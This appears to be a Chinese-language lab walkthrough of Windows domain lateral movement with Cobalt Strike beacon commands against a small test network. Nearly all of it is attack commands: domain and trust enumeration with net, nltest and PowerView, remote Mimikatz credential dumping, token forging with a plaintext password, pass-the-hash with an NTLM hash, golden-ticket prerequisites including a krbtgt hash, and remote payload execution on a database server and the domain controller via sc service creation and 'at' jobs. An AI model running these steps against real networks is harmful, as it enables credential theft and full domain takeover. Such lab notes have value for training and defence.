域内环境
系统 | ip 备注 | |||
kali | 192.168.0.134 | teamserver | ||
server2008r2 | 10.10.10.4 | 域控 | ||
server2008r2 (database1) | 192.168.0.163 10.10.10.6 | 本次测试的重点 | ||
wind7 | 192.168.0.130 10.10.10.5 | victim 被控端 | ||
1.枚举信任主机
1.1windows命令
命令 描述
net view /domain 查找当前域
net view/domain:[domain] 查看当前域主机列表
net group "domain computers" /domain
nltest /dclist:[domain] 查看域控
nslookup [name] 根据netblos查看ip地址
ping -n 1 -4
nltest /domain_trusts 查看域的信任关系
nltest /server:[address] /domain_trusts
1.2windows命令在beacon下使用
shell nltest/dclist:test1
64位在 c:\windows\sysnative
shell net view /domain:test1
shell net group "domain computers" /domain
1.3PowerView 模块的使用
Invoke-Netview
Invoke-ShareFinder
Invoke-MapDomainTrusts
1.4Net 模块在beacon的使用
列出域控
net dclist
net dclist [domain]
列出目标共享列表
net share \\[name]
列出当前域控的主机
net view
net view [domain]
2判断当前用户位置
2.1判断是否本地管理员
因为 普通域用户 在做一些高级别操作的配置 需要域管理员的账号和密码。这是很不方便的。有的时候就会把普通的域用户 把它增加目标主机的超级管理员组,那么再做配置的时候就不需要域的超级管理员账号和密码。
shell dir \\目标机器名\C$
moonsec 域普通用户是database1 本地超级管理员
powerview Invoke-FindLocalAdminAccess
2.2判断是否域管理员
域管理员命令
shell net group "enterprise admins" /domain
shell net group "domain admins" /domain
shell net localgroup "administrators" /domain
net 在beacon使用
net group \\Target
net localgroup \\target 组名
powerview
Get-NetLocalGroup -HostName database1
3.winrm执行powershell
shell dir \\database1 \c$
shell dir /S /B \\database1\c$\users
powershell Invoke-Command -ComputerName database1 -ScriptBlock{ dir c:\}
powershell Invoke-Command -ComputerName database1 -ScriptBlock{ net localgroup administrators}
4.powersploit 运行MImikatz
powershell-import invoke-MImikatz.ps1
powershell Invoke-Mimikatz -ComputerName database1
主要的过程就是发现域内信任主机 查看是否有默认共享 用域的普通用户 验证枚举域内主机的是否为本地管理员 通过winrm执行 mimikatz.ps1
5.登录认证
5.1制作标记 (token)
用mimikatz收集到的密码 用凭证制作一个标记 (令牌token电脑计算机的临时身份)
终止标记 rev2self (恢复原来的令[token]或标记)
这里演示的系统(system) 制作标记访问dc 域控
steal_token ID 域控的超级管理员进程id
make_token TEST1\Administrator qweQWE123.
make_token domain\user password
spawnas domain\user password
建立远程连接
net use \\host\c$ /user:domain\user password
5.2散列认证
pth .\administrator ntlm
pth TEST1\Administrator c157deb33176c821c0e8733ebd851463
5.3kerberos凭证认证
Kerberos和密码散列认证有些不一样,但是两者同样都是使用凭据来产生标记
Kerberos票证是存储存在一个叫kerberos托盘的地方
Kerberos原理是你们可以使用一个中间人 它叫 密匙分配发送服务器 并且 密匙分配发送服务器出凭据,你们可能现在使用那个凭据一次性与服务器相互作用他会告诉服务器,我很好 这是我凭据 验证凭据这个中间人如果信任它会给我服务器的凭据 这个凭据就可以让我们保持交互 并且没有任何帐号建立 如果你们获取了一个凭据 那就集成它,然后你们就可以使用这个指定凭据来与服务器进行交互了。一般情况下我使用凭据最好使用黄金凭据。
黄金凭据是域管理员自己生成的Kerberos凭据 来用mimikatz伪造一个黄金票证
有了黄金票据就有了访问域控权限krbtgt hash,通常用于后门。
你们需要四个不同的信息。
用户 、域名字、域id krbtgt 的hash
域的id获取 shell whoami/user
test1\moonsec S-1-5-21-1917438135-3671264842-2025464858
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f767fce8c9c5f527dad0b2754d8bdadb:::
列举黄金票据
shell klist
64位置
shell c:\windows\sysnative\klist
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话
5.4如何创建黄金票证
test1\moonsec S-1-5-21-1917438135-3671264842-2025464858-1115
6.内网横向渗透获取权限
6.1代码执行的方法
方法一
shell copy C:\Users\moonsec.TEST1\a1.exe \\database1\C$\windows\temp\a1.exe
shell sc \\database1 create a1 binpath= c:\windows\temp\a1.exe
shell sc \\database1 start a1
shell sc \\database1 delete a1
方法二
shell copy C:\Users\moonsec.TEST1\a2.exe \\database1\C$\windows\temp\a2.exe
shell net time \\database1
shell at \\database1 0:14:00 C:\windows\temp\a2.exe
窃取标记
steal_token 2760
验证是否可以攻击域控
shell dir \\dc\c$
6.2如何跟域控制服务器交互
kali和域控不在一个ip段 不能交互
所以要用到转发监听器
重定器转发
shell copy C:\Windows\temp\a3.exe \\dc\C$\Windows\temp\a3.exe
shell net time \\dc
shell at \\dc 0:27:00 C:\Windows\temp\a3.exe
6.3beacon的自动化操作
自动化横行渗透,不需要对硬盘进行读写操作 比较安全。
powershell-Import /PowerTools/PowerView/powerview.ps1
powershell Invoke-FindLocalAdminAccess
—————————————————————————————————————————————————————————我也想杀死伤痛,让那恩怨有始有终